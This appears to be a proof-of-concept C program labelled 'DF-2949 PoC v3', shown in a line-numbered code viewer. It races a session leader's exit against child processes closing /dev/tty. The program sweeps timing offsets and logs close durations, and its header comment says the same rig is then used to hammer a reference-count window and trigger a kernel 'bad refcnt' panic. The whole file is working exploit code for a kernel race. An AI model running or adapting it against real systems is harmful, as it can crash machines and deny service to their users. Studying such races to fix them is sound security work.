DF-2949 / ctty_race_sweep.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 | /* * DF-2949 PoC v3 — fine-grained alignment sweep. * Victim spins to GO+delta then closes its /dev/tty fd, measuring the * close duration: a close that blocks inside vn_lock (tty_tty.c:160) * through the leader's ttyclosesession teardown takes >>100us and pairs * with "Warning: cttyclose: race avoided" (tty_tty.c:167). Once the * overlap delta is found, this same rig hammers the [155..159] vref * window for the vref: bad refcnt panic. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <signal.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/time.h> static int gopipe[2]; static long delta_us = 400; static void leader(void); static void victim(int id); static double now(void) { struct timeval tv; gettimeofday(&tv, NULL); return (tv.tv_sec + tv.tv_usec / 1e6); } static void leader(void) { char sname[128]; if (setsid() < 0) { perror("L setsid"); _exit(1); } int m = posix_openpt(O_RDWR | O_NOCTTY); if (m < 0) { perror("L pt"); _exit(1); } char *s = ptsname(m); if (s == NULL) _exit(1); snprintf(sname, sizeof(sname), "%s", s); int sl = open(sname, O_RDWR | O_NOCTTY); if (sl < 0) _exit(1); if (ioctl(sl, TIOCSCTTY, 0) < 0) { perror("L TIOCSCTTY"); _exit(1); } for (int v = 0; v < 2; v++) { pid_t p = fork(); if (p == 0) victim(v); } char c; read(gopipe[0], &c, 1); _exit(0); } static void victim(int id) { char c; int fd; double tgo, t0, t1, dur; char buf[160]; int n, df; signal(SIGHUP, SIG_IGN); fd = open("/dev/tty", O_RDWR); read(gopipe[0], &c, 1); tgo = now(); /* spin to GO + delta (id interleaves two deltas per iteration) */ double target = tgo + (delta_us + id * 40) * 1e-6; while (now() < target) ; t0 = now(); if (fd >= 0) close(fd); t1 = now(); dur = (t1 - t0) * 1e6; n = snprintf(buf, sizeof(buf), "V%d d=%.6f dur=%.1f fd=%d\n", id, t0 - tgo, dur, fd); df = open("/tmp/diag.log", O_WRONLY | O_APPEND | O_CREAT, 0644); if (df >= 0) { write(df, buf, n); close(df); } _exit(0); } int main(int argc, char **argv) { long iters = (argc > 1) ? atol(argv[1]) : 400; long k; double d0 = (argc > 2) ? atof(argv[2]) : 100; double d1 = (argc > 3) ? atof(argv[3]) : 900; pipe(gopipe); unlink("/tmp/diag.log"); for (k = 0; k < iters; k++) { /* sweep delta across the leader's exit window */ delta_us = d0 + (d1 - d0) * k / iters; pid_t l = fork(); if (l == 0) leader(); write(gopipe[1], "ggg", 3); int st; waitpid(l, &st, 0); if ((k % 200) == 0) { fprintf(stderr, "iter %ld d=%ld\n", k, delta_us); fflush(stderr); } } system("awk '{print $3}' /tmp/diag.log | sort -t= -k2 -n | tail -5"); system("grep -c fd=7 /tmp/diag.log"); return (0); } |